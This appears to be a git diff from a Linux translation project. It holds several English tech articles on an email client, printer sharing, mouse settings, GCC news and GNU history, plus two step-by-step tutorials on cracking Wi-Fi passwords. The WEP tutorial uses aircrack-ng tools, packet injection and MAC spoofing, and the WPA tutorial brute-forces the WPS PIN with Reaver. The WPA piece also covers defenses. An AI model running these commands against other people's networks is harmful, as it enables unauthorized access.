Geary also support IMAP protocol which will let you send and receive emails using your online webmail accounts from Google, Yahoo and Microsoft.
|
||||
|
||||
For users with Ubuntu 13.10, Geary is already available from Ubuntu Software Center. All they have to do is run the commands below to install Geary.
|
||||
|
||||
sudo apt-get install geary
|
||||
|
||||
For previous versions of Ubuntu, press **Ctrl – Alt – T** on your keyboard to open the terminal. When opens, run the commands below to add its PPA repository.
|
||||
|
||||
sudo add-apt-repository ppa:yorba/ppa
|
||||
|
||||
Next, run the commands below to update your system and install Geary.
|
||||
|
||||
sudo apt-get update && sudo apt-get install geary
|
||||
|
||||
When you launch Geary the first time, it wants you to setup email accounts from Gmail, Yahoo or Microsoft.
|
||||
|
||||

|
||||
|
||||
The setup is pretty easy, just enter your account info and Geary will attempt to automatically configure your account.
|
||||
|
||||
To uninstall Geary, first remove its PPA repository from your system by running the commands below.
|
||||
|
||||
sudo add-apt-repository -r ppa:yorba/ppa
|
||||
|
||||
Then run the commands below to remove Geary.
|
||||
|
||||
sudo apt-get remove geary
|
||||
|
||||
That’s it.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,49 +0,0 @@
|
||||
Daily Ubuntu Tips – Print From Shared Windows Printers
|
||||
================================================================================
|
||||
For users with both Windows and Ubuntu machines and a single printer, this blog post is going to show you how to share a printer in Windows and allow Ubuntu machines to printer to it.
|
||||
|
||||
Almost all printers support Windows by default. Printer manufactures are building printers for Windows and not many are doing it for Linux systems, including Ubuntu. So, if you have a printer with full Windows support, you can share it from the Windows machine and allow other systems to print to it.
|
||||
|
||||
I ran into this problem few years go when most printers didn’t support Linux systems. I had an older printer which was designed specifically for Windows and Mac OS X with no support for Linux.
|
||||
|
||||
I installed the printer driver on my Windows machine and it worked great. My Windows machine was printing just fine, but couldn’t get the Ubuntu machine to because the printer didn’t support LAN.
|
||||
|
||||
So, I shared the printer from Windows and my Ubuntu machine was printing properly with the correct fonts and style. If you find yourself in similar situation, follow the guide below to do the same.
|
||||
|
||||
First, logon to Windows and right-click the printer you wish to share and click ‘**Printer properties**’
|
||||
|
||||

|
||||
|
||||
Next, select the ‘Sharing’ tab and check the ‘Share this printer’ box to share the printer. Remember the shared name because you’ll connect using that shared name.
|
||||
|
||||

|
||||
|
||||
Finally, open the commands prompt as administrator and run the commands below to enable file and printer sharing through the firewall.
|
||||
|
||||
netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
|
||||
|
||||
Next, logon to Ubuntu and select the **gear** on the panel at the top right and select System **Settings…**
|
||||
|
||||
When System Settings opens, select Printers. The add a printer. When prompted to select a device, choose ‘ **Windows Printer via SAMBA**’.
|
||||
|
||||

|
||||
|
||||
Enter the Windows computer IP address or hostname followed by the printer shared name. You may also have to enter your windows account credentials (username and password). Click Browse to verify that you can see the printer and when you’re done, click Forward to continue.
|
||||
|
||||
Next, select the printer brand and model. If you don’t see the particular model, choose the next closest to it and continue.
|
||||
|
||||

|
||||
|
||||
If everything is done correctly, you should have a printer installed and ready to use.
|
||||
|
||||

|
||||
|
||||
Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-print-from-shared-windows-printers/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,34 +0,0 @@
|
||||
【chenguang】翻译中》》》》》》》》》》》................
|
||||
=
|
||||
|
||||
Daily Ubuntu Tips–Make The Mouse Left-handed For Left Hand Users
|
||||
================================================================================
|
||||
The computer mouse was designed to be operated mostly using your index finger (the finger next to your thumb). By default, the mouse is configured for right-handed users. When you turn on your machine the first time, in most cases you will have to use your right index finger to click on things.
|
||||
|
||||
In fact, most left-handed users use the mouse to the left side of the keyboard and use their middle finger to click on things. This is not the best way for left handed users to use the mouse.
|
||||
|
||||
This brief tutorial is going those who need to use the mouse using their left hand properly. It will show left handed users how to setup the mouse so that the most commonly used button is operated using the left index finger.
|
||||
|
||||
This can also applied to right handed users. If the mouse is configured to be used using the left index finger, right handed users may use this guide to change the button from left to right.
|
||||
|
||||
To get started, click the gear button at the top right panel and select **System Settings**…
|
||||
|
||||

|
||||
|
||||
Then select **Mouse & Touchpad** group from System Settings.. When it opens, choose ‘**Right**’ to switch the commonly used click button to suite left handed users.
|
||||
|
||||

|
||||
|
||||
Switch back to Left to suite right handed users. The change will immediately take effect after selecting your choice.
|
||||
|
||||
That it. Now left handed users can move the mouse to the left of the keyboard and use their index finger on the left hand to operate the mouse properly.
|
||||
|
||||
Enjoy!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipsmake-the-mouse-left-handed-for-left-hand-users/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
22
sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md
Normal file
22
sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md
Normal file
@ -0,0 +1,22 @@
|
||||
GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode
|
||||
================================================================================
|
||||
[GCC 4.9][1] with [its many new features][2] is aiming for a release in the first half of 2014. As of this morning the GCC code-base will not accept new features as it's under a big-fixing-only flag.
|
||||
|
||||
Richard Biener announced this morning that trunk is now in stage three, so that after eight months of allowing features into GCC for the 4.9 release, nothing new will be permitted unless an exception is granted by the release managers. Stage 3 allows for general bug-fixing work to be completed while in about two months it will go into the Stage 4 mode of only allowing documentation and regression fixes.
|
||||
|
||||
At the moment there are 63 P1 regressions (the most severe regression) for GCC 4.9 followed by 136 P2 regressions, 14 P3 regressions, 88 P4 regressions, and 60 P5 regressions. Not until the 63 regressions of the P1 state have been zeroed out will GCC 4.9 move closer to being released. The GCC 4.9.0 release will likely come some time around Q2'2014.
|
||||
|
||||
This morning's GCC 4.9.0 status report can be found on the [GCC mailing list][3]. GCC 4.9 will be a very nice compiler update and competition to next month's release of [LLVM 3.4][4].
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.phoronix.com/scan.php?page=news_item&px=MTUyMjk
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.phoronix.com/scan.php?page=search&q=GCC+4.9
|
||||
[2]:http://www.phoronix.com/scan.php?page=news_item&px=MTUxNzQ
|
||||
[3]:http://gcc.gnu.org/ml/gcc/2013-11/msg00435.html
|
||||
[4]:http://www.phoronix.com/scan.php?page=search&q=LLVM+3.4
|
@ -0,0 +1,39 @@
|
||||
Gnu: toward the post-scarcity world – the Free Software Column
|
||||
================================================================================
|
||||
**It is 30 years since Richard Stallman announced that he was going to write a complete UNIX-compatible software system called GNU, pioneering the idea of free and open source software, but the struggle continues **
|
||||
|
||||

|
||||
|
||||
Gnu was not the first software to be distributed free, but became the first manifestation of a lasting and “explicit political campaign to make software free”.
|
||||
|
||||
In the GNU Manifesto, Stallman expressed the romantic ideal. “In the long term,” he wrote, “making programs free is a step toward the post- scarcity world, where nobody will have to work very hard just to make a living. People will be free to devote themselves to activities that are fun, such as programming, after spending the necessary ten hours a week on required tasks such as legislation, family counselling, robot repair and asteroid prospecting…”
|
||||
|
||||
In the real world, GNU grew directly out of ‘the EMACS commune’ and the disputes that arose around James Gosling’s version of Emacs for UNIX. In the ‘Emacs Manual for ITS Users’, dated 22 October 1981, Stallman was already expressing the ideas that gave rise to the GPL.
|
||||
|
||||
“Emacs does not cost anything,” he wrote. “Instead, you are joining the Emacs software-sharing commune. The conditions of membership are that you must send back any improvements you make to Emacs, including any libraries you write…”
|
||||
|
||||
Initially, Gosling allowed free distribution of the source code to Gosling EMACS, to which others had contributed. However, in April 1983, as Stallman tells it (bit.ly/d58ndg): “He stabbed everyone in the back by putting copyrights on it, making people promise not to redistribute it, and then selling it to a software house.”
|
||||
|
||||
Stallman was hurt by what he saw as a betrayal, and said of Gosling, who later became known as the father of Java, “My later dealings with him personally showed that he was every bit as cowardly and despicable as you would expect from that history. “
|
||||
|
||||
The recriminations and legal threats surrounding these events led directly to the founding of GNU, and later, to the GPL. Gosling Emacs was soon eclipsed by GNU Emacs. The first tangible version of the GPL emerged as ‘the GNU Emacs copying permission notice’ in 1985, and went through several versions before the release of GPL 1.0 in 1989.
|
||||
|
||||
Stallman later recounted that when he founded GNU, people had said, “Oh, this is an infinitely hard job; you can’t possibly write a whole system like UNIX. How can we possibly do that much? It would be nice, but it’s just hopeless.” But his response was that he was would do it anyway. “This is where I am great. I am great at being very, very stubborn and ignoring all sorts of reasons why you should change your goal, reasons that many other people will be susceptible to. Many people want to be on the winning side. I didn’t give a damn about that. I wanted to be on the side that was right, and even if I didn’t win, at least I was going to give it a good try.”
|
||||
|
||||
“It’s not about money”, he said in 1999, “it’s about freedom. If you think it’s about money you’ve missed the point. I want to use a computer in freedom, to co-operate, to not be restricted or prohibited from sharing. The GNU/Linux system is catching on somewhat more now. The system is becoming popular for practical reasons. It’s a good system. The danger is people will like it because it’s practical and it will become popular without anyone having the vaguest idea of the ideals behind it, which would be an ironic way of failing.”
|
||||
|
||||
Free software owes much to the obduracy and insights of Stallman, but as he suggested in his history of the GNU project, the struggle and the cause of free software is just as indebted to the contributions of others, and threats to its existence continue.
|
||||
|
||||
“I have done most of my work while anxious about whether I could do the job, and unsure that it would be enough to achieve the goal if I did. But I tried anyway, because there was no one but me between the enemy and my city. Surprising myself, I have sometimes succeeded.
|
||||
|
||||
“Sometimes I failed; some of my cities have fallen. Then I found another threatened city, and got ready for another battle. Over time, I’ve learned to look for threats and put myself between them and my city, calling on other hackers to come and join me.
|
||||
|
||||
“Nowadays, often I’m not the only one. It is a relief and a joy when I see a regiment of hackers digging in to hold the line, and I realise, this city may survive – for now. But the dangers are greater each year.”
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linuxuser.co.uk/features/gnu-toward-the-post-scarcity-world-the-free-software-column
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,126 @@
|
||||
[翻译中]by stduolc
|
||||
How to Crack a Wi-Fi Network's WEP Password with BackTrack
|
||||
================================================================================
|
||||

|
||||
|
||||
You already know that if you want to lock down your Wi-Fi network, you should [opt for WPA encryption][1] because WEP is easy to crack. But did you know how easy? Take a look.
|
||||
|
||||
*Note: This post demonstrates how to crack WEP passwords, an older and less often used network security protocol. If the network you want to crack is using the more popular WPA encryption, see our [guide to cracking a Wi-Fi network's WPA password with Reaver][2] instead.*
|
||||
|
||||
Today we're going to run down, step-by-step, how to crack a Wi-Fi network with WEP security turned on. But first, a word: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing [how to pick a lock][3] doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise.
|
||||
|
||||
Dozens of tutorials on how to crack WEP are already all over the internet using this method. Seriously—Google it. This ain't what you'd call "news." But what is surprising is that someone like me, with minimal networking experience, can get this done with free software and a cheap Wi-Fi adapter. Here's how it goes.
|
||||
|
||||
### What You'll Need ###
|
||||
|
||||

|
||||
|
||||
Unless you're a computer security and networking ninja, chances are you don't have all the tools on hand to get this job done. Here's what you'll need:
|
||||
|
||||
- **A compatible wireless adapter**—This is the biggest requirement. You'll need a wireless adapter that's capable of packet injection, and chances are the one in your computer is not. After consulting with my friendly neighborhood security expert, I purchased an Alfa AWUS050NH USB adapter, pictured here, and it set me back about $50 on Amazon. Update: Don't do what I did. Get the [Alfa AWUS036H][4], not the US050NH, instead. [The guy in this video][5] below is using a $12 model he bought on Ebay (and is even [selling his router of choice)][6]. There are [plenty of resources on getting aircrack-compatible adapters out there][7].
|
||||
|
||||
- **[A BackTrack Live CD][8]**. We already took you on a [full screenshot tour of how to install and use BackTrack 3][9], the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started.
|
||||
|
||||
- **A nearby WEP-enabled Wi-Fi network**. The signal should be strong and ideally people are using it, connecting and disconnecting their devices from it. The more use it gets while you collect the data you need to run your crack, the better your chances of success.
|
||||
|
||||
- **Patience with the command line**. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.
|
||||
|
||||
### Crack That WEP ###
|
||||
|
||||
To crack WEP, you'll need to launch Konsole, BackTrack's built-in command line. It's right there on the taskbar in the lower left corner, second button to the right. Now, the commands.
|
||||
|
||||
First run the following to get a list of your network interfaces:
|
||||
|
||||
airmon-ng
|
||||
|
||||
The only one I've got there is labeled ra0. Yours may be different; take note of the label and write it down. From here on in, substitute it in everywhere a command includes (interface).
|
||||
|
||||
Now, run the following four commands. See the output that I got for them in the screenshot below.
|
||||
|
||||
airmon-ng stop (interface)
|
||||
ifconfig (interface) down
|
||||
macchanger —mac 00:11:22:33:44:55 (interface)
|
||||
airmon-ng start (interface)
|
||||
|
||||

|
||||
|
||||
If you don't get the same results from these commands as pictured here, most likely your network adapter won't work with this particular crack. If you do, you've successfully "faked" a new MAC address on your network interface, 00:11:22:33:44:55.
|
||||
|
||||
Now it's time to pick your network. Run:
|
||||
|
||||
airodump-ng (interface)
|
||||
|
||||
To see a list of wireless networks around you. When you see the one you want, hit Ctrl+C to stop the list. Highlight the row pertaining to the network of interest, and take note of two things: its BSSID and its channel (in the column labeled CH), as pictured below. Obviously the network you want to crack should have WEP encryption (in the ENC) column, not WPA or anything else.
|
||||
|
||||

|
||||
|
||||
Like I said, hit Ctrl+C to stop this listing. (I had to do this once or twice to find the network I was looking for.) Once you've got it, highlight the BSSID and copy it to your clipboard for reuse in the upcoming commands.
|
||||
|
||||
Now we're going to watch what's going on with that network you chose and capture that information to a file. Run:
|
||||
|
||||
airodump-ng -c (channel) -w (file name) —bssid (bssid) (interface)
|
||||
|
||||
Where (channel) is your network's channel, and (bssid) is the BSSID you just copied to clipboard. You can use the Shift+Insert key combination to paste it into the command. Enter anything descriptive for (file name). I chose "yoyo," which is the network's name I'm cracking.
|
||||
|
||||

|
||||
|
||||
You'll get output like what's in the window in the background pictured below. Leave that one be. Open a new Konsole window in the foreground, and enter this command:
|
||||
|
||||
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid) (interface)
|
||||
|
||||
Here the ESSID is the access point's SSID name, which in my case is yoyo. What you want to get after this command is the reassuring "Association successful" message with that smiley face.
|
||||
|
||||

|
||||
|
||||
You're almost there. Now it's time for:
|
||||
|
||||
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
|
||||
|
||||
Here we're creating router traffic to capture more throughput faster to speed up our crack. After a few minutes, that front window will start going crazy with read/write packets. (Also, I was unable to surf the web with the yoyo network on a separate computer while this was going on.) Here's the part where you might have to grab yourself a cup of coffee or take a walk. Basically you want to wait until enough data has been collected to run your crack. Watch the number in the "#Data" column—you want it to go above 10,000. (Pictured below it's only at 854.)
|
||||
|
||||
Depending on the power of your network (mine is inexplicably low at -32 in that screenshot, even though the yoyo AP was in the same room as my adapter), this process could take some time. Wait until that #Data goes over 10k, though—because the crack won't work if it doesn't. In fact, you may need more than 10k, though that seems to be a working threshold for many.
|
||||
|
||||

|
||||
|
||||
Once you've collected enough data, it's the moment of truth. Launch a third Konsole window and run the following to crack that data you've collected:
|
||||
|
||||
aircrack-ng -b (bssid) (file name-01.cap)
|
||||
|
||||
Here the filename should be whatever you entered above for (file name). You can browse to your Home directory to see it; it's the one with .cap as the extension.
|
||||
|
||||
If you didn't get enough data, aircrack will fail and tell you to try again with more. If it succeeds, it will look like this:
|
||||
|
||||

|
||||
|
||||
The WEP key appears next to "KEY FOUND." Drop the colons and enter it to log onto the network.
|
||||
|
||||
### Problems Along the Way ###
|
||||
|
||||
With this article I set out to prove that cracking WEP is a relatively "easy" process for someone determined and willing to get the hardware and software going. I still think that's true, but unlike the guy in the video below, I had several difficulties along the way. In fact, you'll notice that the last screenshot up there doesn't look like the others—it's because it's not mine. Even though the AP which I was cracking was my own and in the same room as my Alfa, the power reading on the signal was always around -30, and so the data collection was very slow, and BackTrack would consistently crash before it was complete. After about half a dozen attempts (and trying BackTrack on both my Mac and PC, as a live CD and a virtual machine), I still haven't captured enough data for aircrack to decrypt the key.
|
||||
|
||||
So while this process is easy in theory, your mileage may vary depending on your hardware, proximity to the AP point, and the way the planets are aligned. Oh yeah, and if you're on deadline—Murphy's Law almost guarantees it won't work if you're on deadline.
|
||||
|
||||
To see the video version of these exact instructions, check out this dude's YouTube video.
|
||||
|
||||
[http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][10]
|
||||
|
||||
Got any experience with the WEP cracking courtesy of BackTrack? What do you have to say about it? Give it up in the comments.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://lifehacker.com/386675/secure-your-home-wi+fi-network
|
||||
[2]:http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver
|
||||
[3]:http://lifehacker.com/399735/how-to-pick-a-lock-with-a-bump-key
|
||||
[4]:http://www.amazon.com/Alfa-AWUS036H-802-11b-Wireless-network/dp/B002WCEWU8?tag=lifehackeramzn-20&ascsubtag=[referrer|lifehacker.com[type|link[postId|5305094[asin|B002WCEWU8[authorId|5774310829120954491
|
||||
[5]:http://www.youtube.com/watch?v=oHq-cKoYcr8
|
||||
[6]:http://www.youtube.com/watch?v=bFlOHMj7Qoc
|
||||
[7]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.aircrack-ng.org%2Fdoku.php%3Fid%3Dcompatible_cards&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[8]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5305094%2Fhow-to-crack-a-wi%2Bfi-networks-wep-password-with-backtrack&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1
|
||||
[9]:http://lifehacker.com/5166530/backtrack-is-a-security+focused-live-cd-packed-with-system-tools
|
||||
[10]:http://www.youtube.com/embed/kDD9PjiQ2_U?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1
|
@ -0,0 +1,154 @@
|
||||
How to Crack a Wi-Fi Network's WPA Password with Reaver
|
||||
================================================================================
|
||||

|
||||
|
||||
Your Wi-Fi network is your conveniently wireless gateway to the internet, and since you're not keen on sharing your connection with any old hooligan who happens to be walking past your home, you secure your network with a password, right? Knowing, as you might, how [easy it is to crack a WEP password][1], you probably secure your network using the more bulletproof WPA security protocol.
|
||||
|
||||
Here's the bad news: A new, free, open-source tool called [Reaver][2] exploits a security hole in wireless routers and can crack most routers' current passwords with relative ease. Here's how to crack a WPA or WPA2 password, step by step, with Reaver—and how to protect your network against Reaver attacks.
|
||||
|
||||
In the first section of this post, I'll walk through the steps required to crack a WPA password using Reaver. You can follow along with either the video or the text below. After that, I'll explain how Reaver works, and what you can do to protect your network against Reaver attacks.
|
||||
|
||||
[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3]
|
||||
|
||||
First, a quick note: As we remind often remind readers when we discuss topics that appear potentially malicious: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise. The more you know, the better you can protect yourself.
|
||||
|
||||
### What You'll Need ###
|
||||
|
||||
You don't have to be a networking wizard to use Reaver, the command-line tool that does the heavy lifting, and if you've got a blank DVD, a computer with compatible Wi-Fi, and a few hours on your hands, you've got basically all you'll need. There are a number of ways you could set up Reaver, but here are the specific requirements for this guide:
|
||||
|
||||

|
||||
|
||||
- [**The BackTrack 5 Live DVD**][4]. BackTrack is a bootable Linux distribution that's filled to the brim with network testing tools, and while it's not strictly required to use Reaver, it's the easiest approach for most users. Download the Live DVD [from BackTrack's download page][5] and burn it to a DVD. You can alternately download a virtual machine image if you're using VMware, but if you don't know what VMware is, just stick with the Live DVD. As of this writing, that means you should select BackTrack 5 R3 from the Release drop-down, select Gnome, 32- or 64-bit depending on your CPU (if you don't know which you have, 32 is a safe bet), ISO for image, and then download the ISO.
|
||||
|
||||
- **A computer with Wi-Fi and a DVD drive**. BackTrack will work with the wireless card on most laptops, so chances are your laptop will work fine. However, BackTrack doesn't have a full compatibility list, so no guarantees. You'll also need a DVD drive, since that's how you'll boot into BackTrack. I used a six-year-old MacBook Pro.
|
||||
|
||||
- **A nearby WPA-secured Wi-Fi network**. Technically, it will need to be a network using WPA security with the WPS feature enabled. I'll explain in more detail in the "How Reaver Works" section how WPS creates the security hole that makes WPA cracking possible.
|
||||
|
||||
- **A little patience**. This is a 4-step process, and while it's not terribly difficult to crack a WPA password with Reaver, it's a brute-force attack, which means your computer will be testing a number of different combinations of cracks on your router before it finds the right one. When I tested it, Reaver took roughly 2.5 hours to successfully crack my password. The [Reaver home page][6] suggests it can take anywhere from 4-10 hours. Your mileage may vary.
|
||||
|
||||
### Let's Get Crackin' ###
|
||||
|
||||
At this point you should have BackTrack burned to a DVD, and you should have your laptop handy.
|
||||
|
||||
#### Step 1: Boot into BackTrack ####
|
||||
|
||||
To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter.
|
||||
|
||||
Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type `startx` and press Enter. BackTrack will boot into its graphical interface.
|
||||
|
||||
#### Step 2: Install Reaver ####
|
||||
|
||||
Update: This step is no longer necessary, as Reaver comes pre-installed on Backtrack 5 R3. Skip down to Step 3.
|
||||
|
||||
Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to.
|
||||
|
||||
1. Click Applications > Internet > Wicd Network Manager
|
||||
1. Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time.
|
||||
|
||||
Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type:
|
||||
|
||||
apt-get update
|
||||
|
||||
And then, after the update completes:
|
||||
|
||||
apt-get install reaver
|
||||
|
||||
If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.)
|
||||
|
||||
#### Step 3: Gather Your Device Information, Prep Your Crackin' ####
|
||||
|
||||
In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that.
|
||||
|
||||
**Find your wireless card:** Inside Terminal, type:
|
||||
|
||||
iwconfig
|
||||
|
||||
Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named `wlan0`, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different.
|
||||
|
||||

|
||||
|
||||
**Put your wireless card into monitor mode**: Assuming your wireless card's interface name is `wlan0`, execute the following command to put your wireless card into monitor mode:
|
||||
|
||||
airmon-ng start wlan0
|
||||
|
||||
This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be `mon0`, like in the screenshot below. Make note of that.
|
||||
|
||||

|
||||
|
||||
**Find the BSSID of the router you want to crack**: Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command:
|
||||
|
||||
airodump-ng wlan0
|
||||
|
||||
(Note: If `airodump-ng wlan0` doesn't work for you, you may want to try the monitor interface instead—e.g., `airodump-ng mon0`.)
|
||||
|
||||
You'll see a list of the wireless networks in range—it'll look something like the screenshot below:
|
||||
|
||||

|
||||
|
||||
When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column. (If it's WEP, use our [previous guide to cracking WEP passwords][7].)
|
||||
|
||||
Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver.
|
||||
|
||||
#### Step 4: Crack a Network's WPA Password with Reaver ####
|
||||
|
||||
Now execute the following command in the Terminal, replacing `bssid` and moninterface with the BSSID and monitor interface and you copied down above:
|
||||
|
||||
reaver -i moninterface -b bssid -vv
|
||||
|
||||
For example, if your monitor interface was `mon0` like mine, and your BSSID was `8D:AE:9D:65:1F:B2` (a BSSID I just made up), your command would look like:
|
||||
|
||||
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
|
||||
|
||||
Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending. When Reaver's cracking has completed, it'll look like this:
|
||||
|
||||

|
||||
|
||||
**A few important factors to consider**: Reaver worked exactly as advertised in my test, but it won't necessarily work on all routers (see more below). Also, the router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work. Throughout the process, Reaver would sometimes experience a timeout, sometimes get locked in a loop trying the same PIN repeatedly, and so on. I just let it keep on running, and kept it close to the router, and eventually it worked its way through.
|
||||
|
||||
Also of note, you can also pause your progress at any time by pressing Ctrl+C while Reaver is running. This will quit the process, but Reaver will save any progress so that next time you run the command, you can pick up where you left off-as long as you don't shut down your computer (which, if you're running off a live DVD, will reset everything).
|
||||
|
||||
### How Reaver Works ###
|
||||
|
||||
Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password.
|
||||
|
||||
Read more details about the vulnerability at [Sean Gallagher's excellent post on Ars Technica][8].
|
||||
|
||||
### How to Protect Yourself Against Reaver Attacks ###
|
||||
|
||||
Since the vulnerability lies in the implementation of WPS, your network should be safe if you can simply turn off WPS (or, even better, if your router doesn't support it in the first place). Unfortunately, as Gallagher [points out as Ars][9], even with WPS manually turned off through his router's settings, Reaver was still able to crack his password.
|
||||
|
||||
> In a phone conversation, Craig Heffner said that the inability to shut this vulnerability down is widespread. He and others have found it to occur with every Linksys and Cisco Valet wireless access point they've tested. "On all of the Linksys routers, you cannot manually disable WPS," he said. While the Web interface has a radio button that allegedly turns off WPS configuration, "it's still on and still vulnerable.
|
||||
|
||||
So that's kind of a bummer. You may still want to try disabling WPS on your router if you can, and test it against Reaver to see if it helps.
|
||||
|
||||
You could also set up MAC address filtering on your router (which only allows specifically whitelisted devices to connect to your network), but a sufficiently savvy hacker could detect the MAC address of a whitelisted device and use MAC address spoofing to imitate that computer.
|
||||
|
||||
Double bummer. So what will work?
|
||||
|
||||
I have the open-source router firmware [DD-WRT][10] installed on my router and I was unable to use Reaver to crack its password. As it turns out, [DD-WRT does not support WPS][11], so there's yet another reason to love the free router-booster. If that's got you interested in DD-WRT, check their [supported devices list][12] to see if your router's supported. It's a good security upgrade, and DD-WRT can also do cool things like [monitor your internet usage][13], [set up a network hard drive][14], act as a [whole-house ad blocker][15], [boost the range of your Wi-Fi network][16], and more. It essentially [turns your $60 router into a $600 router][17].
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver
|
||||
|
||||
